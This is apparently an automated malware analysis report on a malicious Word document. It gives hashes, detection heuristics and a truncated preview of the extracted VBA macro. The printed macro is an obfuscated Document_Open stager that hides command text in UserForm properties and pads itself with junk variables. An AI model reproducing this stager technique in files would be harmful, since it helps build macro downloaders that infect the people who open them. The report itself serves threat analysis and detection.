Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 df0c6477bbad003c…

MALICIOUS

Office (OLE)

100.9 KB Created: 2019-12-19 13:19:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 8a9b009e6388fe9e9d216c8246ca5c8b SHA-1: 2e2eb011703e05ad8b7d20445ac5b9ad4f0a22bb SHA-256: df0c6477bbad003cae5aa4c6d82e9b322fc079c3cd62e7a96f52aeeca677d402
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The presence of these elements suggests the file is designed to execute arbitrary code, likely downloading a secondary payload. The ClamAV detection further supports its malicious classification.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-7465573-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-7465573-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13722 bytes
SHA-256: a16196ec1104ab16dc48d7652e1d8c5db4a705aec2d86b153cf27038dfbacae2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pvndiiiiicafg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Yeihgdlu, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Cgwqqrxw = "Laboriosam non modi voluptas."
Dim Qsewuxwbvt As Boolean
Dim Nhvceddntmmp As Boolean
Vwexytxnkpb = ("Omnis soluta earum consequatur enim neque mollitia quod.")
Dim Ncirlbksounnt As String
Dim Segowfczwxvg As Double
Dim Wgbfgpllvanpw As Boolean
Qjeaevgi = Rlcltqvq
Dim Omindihifbgj As Double
Gorgpeqxpcoei = ("Est provident dolor laudantium.")
Dim Kszconda As Double
Dim Vnxdlvipeffyo As Double
Dim Brxfzzzigui As Double
Hkcnajurt = "Qui nobis autem optio."
Dim Hgpdtwle As String
Dim Nwgvrwwerid As Boolean
Dim Hudsyegx As Double
Tytkwpjieisuo = ("Quis.")
Dim Imxmblatehjq As Boolean
Zsqeznwymzp = 804
Zfimfhaprikgk = Ocnyfvepb
Ivkaywumbnw = 144
Svqoifzvpsjq
   Eayiupkt = "Et similique veritatis laborum fuga alias minima quas."
Dim Wgbghfdekj As String
Dim Piepdknesx As Double
Npbjrztgorhva = ("Eveniet eum.")
Dim Fhafczulqde As Double
Dim Gyryietsdtmkq As Integer
Dim Xajpfvixrrvy As Integer
Lgnntaqa = Vfwbnnulda
Dim Togexbzhnga As Double
Nzxwvdwsxuay = ("Consequatur blanditiis doloribus quia.")
Dim Exjuspwmyh As Boolean
Dim Pbbzpeij As Boolean
Dim Xohwrwwuffq As Double
Jdlhywabpgsn = "Ann"
Dim Yevqxkqavmvy As Integer
Dim Dbkmyfrvdwj As String
Dim Mhhpivfyqkptg As Integer
Iymawlxowg = ("Dolorem corporis omnis repudiandae.")
Dim Zcayhkldsnx As Integer
Uqnrvsra = 87
Fkiqnpsljte = Plhivbqubawcu
Bnxprovoyuxoa = 520
End Sub

Attribute VB_Name = "Llzjsomymu"
Attribute VB_Base = "0{B063551D-358A-4682-802E-27D87D913A49}{47510570-C273-4B35-BFC5-0F24BD599AF9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Qnrnsagenrr"
Function Puenvxqhppza()
   Krvppctxch = "Tenetur repellat."
Dim Byifymhvcv As Boolean
Dim Hvgharfdiomkn As Double
Xvjjxrhzuk = ("Consequuntur.")
Dim Texhpuyhuwl As String
Dim Cmznmyszcj As Integer
Dim Mzfzwlxhbmzl As Double
Ppqqbjmyvfhli = Qquxodvs
Dim Kopjpmogoicil As String
Gndarkckhkv = ("Cumque dolorem provident.")
Dim Ruuwitrvwpg As Integer
Dim Fudxifmhiqrs As Integer
Dim Hdiyuiboto As Boolean
Sqvjxxhyfihjc = "Ut explicabo quo a quibusdam aut ut repudiandae."
Dim Gjecdrgjrorl As Integer
Dim Qaprimvmysul As String
Dim Zwzwdqvfp As Double
Hlgdvglx = ("Est reiciendis tempora accusamus dolor nostrum ut omnis commodi debitis.")
Dim Hrrtdvtllhs As Boolean
Kuouitwllcpaa = 94
Cmjnlrreh = Ubtdfkim
Gldejewpct = 265
Hibzcahxggniu = Pvndiiiiicafg.Yeihgdlu
   Zdzfojhjet = "Temporibus saepe unde omnis."
Dim Muihmbxcd As String
Dim Pqiryutcv As Double
Lcgxbqrblmzzx = ("Delectus est sequi quidem.")
Dim Tswjfgbxj As Integer
Dim Siokqbfnj As String
Dim Ozhkcnuq As String
Hsbbgmxrje = Uximavytjz
Dim Dwbuenctxwkq As String
Kpivzbdfek = ("Doloremque voluptas ut fuga.")
Dim Mzrxaisjxjk As String
Dim Wcdlymsyrkj As Double
Dim Zzoysrtobdb As Double
Cxemafgidyzu = "Aut quas animi aperiam cupiditate blanditiis facilis et quod in."
Dim Iruoimnituyrs As Integer
Dim Uzckdkuufjeef As String
Dim Oemukxgo As Boolean
Iueknjmxjjz = ("Ted")
Dim Cnoxpeeihl As Integer
Ufxybnkjw = 930
Pkrargvnaru = Wzrjofail
Eoyivonmhxyn = 174
Sdrtiwrtipp = Hibzcahxggniu + Llzjsomymu.Njxcnafirzawl + Llzjsomymu.Kodscscwipa + Llzjsomymu.Wobtmsvxjz
   Pteetwqlpd = "Fugit."
Dim Arssquqyj As Integer
Dim Ksuvhhrmgzgc As Boolean
Lkadbqtv = ("Cumque.")
Dim Vltqyimc As String
Dim Ulyaidxr As Integer
Dim Uofsfkqvi As Boolean
Okqavnbo = Dtlfzmzuxt
Dim Bjgfblosqus As Integer
Bianpwcju = ("Praesentium voluptates at amet voluptatem.")
Dim Umfxqakxyaig As Integer
Dim Mpzfwjalzxd As Double
Dim Hwzegsllp As String
Bqjvcfsb
... (truncated)

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